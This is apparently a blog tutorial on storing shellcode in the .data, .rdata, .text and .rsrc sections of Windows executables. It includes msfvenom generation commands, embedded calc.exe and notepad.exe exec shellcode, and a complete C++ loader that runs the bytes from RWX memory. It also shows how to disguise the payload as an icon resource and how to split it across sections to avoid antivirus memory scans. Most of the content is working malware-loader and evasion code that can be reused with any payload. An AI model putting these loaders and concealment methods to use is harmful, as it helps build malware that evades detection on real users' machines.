Post

Payload Storage Techniques within Malware Sections

Introduction

Malware is typically stored in the following 4 types of sections:

  • .data: Commonly used to store static variables and global variables. These variables hold data that can change throughout the execution of the program. The data in this section has read/write permissions.
  • .rdata: Used to store data read only (‘r’ in rdata is read data). Therefore, shellcode stored in const variables will be located in this section.
  • .text: The machine code of program stored in here, therefore this memory region has execute permissions.
  • .rcdata: This section stores program resources such as icons, images, sounds, etc. These resources typically not executable machine codes but data used by the program during runtime.

Here is an image of the sections viewed through x64dbg:

listsection

Store shellcode msfvenom in different sections

Create shellcode with msfvenom

msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c

It’s the command to create shellcode. If this shell is executed, it will be open calc.exe application in windows. But have a problem, after the shellcode executed, the program will be exited. Therefore, need to add to the command the following parameter:

msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -a x64 -f c

shellcode

Use the code below to execute shellcode:

#include <Windows.h>
#include <iostream>

#define PRINT_ERR(API_NAME) (std::cout << API_NAME << ": " << GetLastError() << std::endl)

int main() {
	unsigned char buf[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
		"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
		"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
		"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
		"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
		"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
		"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
		"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
		"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
		"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
		"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
		"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
		"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
		"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

	PVOID base = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (!base) {
		PRINT_ERR("VirtualAlloc");
		return -1;
	}

	if (!WriteProcessMemory(GetCurrentProcess(), base, buf, sizeof(buf) - 1, nullptr)) {
		PRINT_ERR("WriteProcessMemory");
		return -1;
	}

	((void(*)())base)();

	/*HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)base, nullptr, 0, nullptr);

	if (!hThread) {
		std::cout << "Create thread failed" << std::endl;
	}

	WaitForSingleObject(hThread, INFINITE);

	CloseHandle(hThread);

	VirtualFree(base, 0, MEM_RELEASE);*/
}

.data section

To declare shellcode in the .data section, declare it as a regular variable.

unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0..."   //shellcode here

Open x64dgb, navigate to the .data section will see payload stored in here.

datasection

.rdata section

As stated earlier, the data stored in rdata is constant data. Therefore, use const to create a variable to store the shellcode.

const unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0..."   //shellcode here

Check with x64dbg, can see the shellcode in .rdata section.

rdatasection

.text section

To store shellcode in .text section, add th following code before declearing the variable.

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0..."   //shellcode here

The const keyword is optional and does not affect the result. Similar to the .data and .rdata section, use x64dbg in the same way to locate the shellcode stored in the .text section.

.rsrc section

Resources serve as storage for assets, as mentioned in the introduction. Therefore, the shellcode will be stored in raw form under these resources, then loaded into the program. However, cannot modify the shellcode direcly on the .rsrc section, so will need to use memory allocation functions like HeapAlloc to load the shellcode into the current memory and then execute it.

Here’s how to create and store shellcode in the .rsrc section.

1. Create shellcode with .icon extension

Create shellcode with msfvenom, but choose output format as raw, store it to use.

msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -a x64 -f raw > shellcode.ico

2. Create resource icon in Virsual Studio 2022

Right-click on `Resource File => Add => Resource…”

addrsrc

Select Import and choose the shellcode.ico file created in the previous section.

importresource

In the Resource Type field, enter RCDATA then click OK.

rcdata

After completing these steps, can view the added Resource file displaying the shellcode.

rscrpayload

Open file resource.h will se ID of shellcode resource added, ID will be used to load resource.

idresource

3. Load resource shellcode

To read the shellcode, use the following 4 WinAPI functions to load the resources:

  • FindResourceW: Searches for the resource by ID and returns an HRSRC resource.
  • LoadResource: Returns a handle to th resouce using the HRSRC obtained above.
  • LockResource: Returns the address of the payload within the resource.
  • SizeofResource: Returns the size of resource.

Here is full code to load shellcode from the resource.

#include <stdio.h>
#include <Windows.h>
#include "resource.h"

#define DEBUG(x, ...) printf(x, ##__VA_ARGS__)

int main() {
HRSRC   hRsrc = NULL;
HGLOBAL   hGlobal = NULL;
PVOID   pPayload = NULL;
SIZE_T    sPayloadSize = NULL;


hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
  DEBUG("[!] FindResourceW Failed With Error : %d \n", GetLastError());
  return -1;
}

hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
  DEBUG("[!] LoadResource Failed With Error : %d \n", GetLastError());
  return -1;
}

pPayload = LockResource(hGlobal);
if (pPayload == NULL) {
  DEBUG("[!] LockResource Failed With Error : %d \n", GetLastError());
  return -1;
}

sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == NULL) {
  DEBUG("[!] SizeofResource Failed With Error : %d \n", GetLastError());
  return -1;
}

printf("[i] Payload address : 0x%p \n", pPayload);
printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}

Store the combined shellcode acress mutilple sections

It’s possible to store the shellcode across multiple sections and then combine them to create a complete shellcode. This approach can help avoid AV scans on memory before the shellcode is used.

Here is the code to store shellcode in two sections, .data and .rdata. It reads the data from both sections and combines them to create the complete shellcode.

# include <stdio.h>
# include <Windows.h>

unsigned char sc_0[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51";
const unsigned char sc_1[] = "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52";
unsigned char sc_2[] = "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0";
const unsigned char sc_3[] = "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed";
unsigned char sc_4[] = "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88";
const unsigned char sc_5[] = "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44";
unsigned char sc_6[] = "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48";
const unsigned char sc_7[] = "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1";
unsigned char sc_8[] = "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44";
const unsigned char sc_9[] = "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49";
unsigned char sc_10[] = "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a";
const unsigned char sc_11[] = "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41";
unsigned char sc_12[] = "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00";
const unsigned char sc_13[] = "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b";
unsigned char sc_14[] = "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff";
const unsigned char sc_15[] = "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47";
unsigned char sc_16[] = "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74\x65\x70";
const unsigned char sc_17[] = "\x61\x64\x2e\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

unsigned char sc[18 * 16];
void build_sc() {
  memcpy(&sc[0], sc_0, 16);
  memcpy(&sc[16 * 1], sc_1, 16);
  memcpy(&sc[16 * 2], sc_2, 16);
  memcpy(&sc[16 * 3], sc_3, 16);
  memcpy(&sc[16 * 4], sc_4, 16);
  memcpy(&sc[16 * 5], sc_5, 16);
  memcpy(&sc[16 * 6], sc_6, 16);
  memcpy(&sc[16 * 7], sc_7, 16);
  memcpy(&sc[16 * 8], sc_8, 16);
  memcpy(&sc[16 * 9], sc_9, 16);
  memcpy(&sc[16 * 10], sc_10, 16);
  memcpy(&sc[16 * 11], sc_11, 16);
  memcpy(&sc[16 * 12], sc_12, 16);
  memcpy(&sc[16 * 13], sc_13, 16);
  memcpy(&sc[16 * 14], sc_14, 16);
  memcpy(&sc[16 * 15], sc_15, 16);
  memcpy(&sc[16 * 16], sc_16, 16);
  memcpy(&sc[16 * 17], sc_17, 16);
}
int main() {
  //if run build_sc(), shellcode will load to memory, AV scan memory will detection it. Need encode payload.
  build_sc();
}
This post is licensed under CC BY 4.0 by the author.